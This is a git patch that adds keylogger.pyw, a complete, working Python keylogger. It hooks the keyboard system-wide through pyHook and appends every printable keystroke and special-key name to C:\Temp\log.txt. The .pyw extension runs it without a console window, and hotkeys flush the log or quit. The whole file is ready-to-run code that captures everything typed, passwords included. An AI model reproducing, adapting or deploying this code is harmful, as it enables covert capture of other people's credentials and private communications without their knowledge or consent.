From 51dff9131ceb925289c96e95eb68443d2efa3105 Mon Sep 17 00:00:00 2001 From: nanotube Date: Sun, 4 Sep 2005 04:47:59 +0000 Subject: [PATCH] rename file --- keylogger.pyw | 69 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 keylogger.pyw diff --git a/keylogger.pyw b/keylogger.pyw new file mode 100644 index 0000000..f2ff699 --- /dev/null +++ b/keylogger.pyw @@ -0,0 +1,69 @@ +import pyHook +import time +import pythoncom +import sys + +class KeyLogger: + ''' Captures all keystrokes, and logs them to a text file + ''' + def __init__(self, hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", logFile="C:\Temp\log.txt"): + + self.exitKey = exitKey #key we press to quit keylogger + self.flushKey = flushKey #key we press to make keylogger flush the file buffer (so we can check the log, for example) + + self.hm = pyHook.HookManager() + + self.hm.KeyDown = self.OnKeyboardEvent + + if hookKeyboard == 1: + self.hm.HookKeyboard() + if hookMouse == 1: + self.hm.HookMouse() + + self.log = open(logFile, 'a') + + #ascii subset is created as a filter to exclude funky non-printable chars from the log + self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape + self.asciiSubset.extend(range(32,128)) #all normal printable chars + + pythoncom.PumpMessages() + + + def OnKeyboardEvent(self, event): + '''This function actually writes the stuff to the log, subject to parsing. + ''' + ''' + self.log.write('MessageName: ' + str(event.MessageName)) + self.log.write('Message: ' + str(event.Message)) + self.log.write('Time: ' + str(event.Time)) + self.log.write('Window: ' + str(event.Window)) + self.log.write('WindowName: ' + str(event.WindowName)) + self.log.write('Ascii: ' + str(event.Ascii) + ' ' + chr(event.Ascii)) + self.log.write('Key: ' + str(event.Key)) + self.log.write('KeyID: ' + str(event.KeyID)) + self.log.write('ScanCode: ' + str(event.ScanCode)) + self.log.write('Extended: ' + str(event.Extended)) + self.log.write('Injected: ' + str(event.Injected)) + self.log.write('Alt: ' + str(event.Alt)) + self.log.write('Transition: ' + str(event.Transition)) + self.log.write('---\n') + ''' + if event.Ascii in self.asciiSubset: + self.log.write(chr(event.Ascii)) + + #we translate all the special keys, such as arrows, backspace, into text strings for logging + #exclude shift keys, because they are already represented (as capital letters/symbols) + if event.Ascii == 0 and not (str(event.Key).endswith('shift')): + self.log.write('[KeyName:' + event.Key + ']') + + if event.Key == self.flushKey: + self.log.flush() + + if event.Key == self.exitKey: + sys.exit() + + return True + +if __name__ == '__main__': + kl = KeyLogger() + \ No newline at end of file -- 2.45.1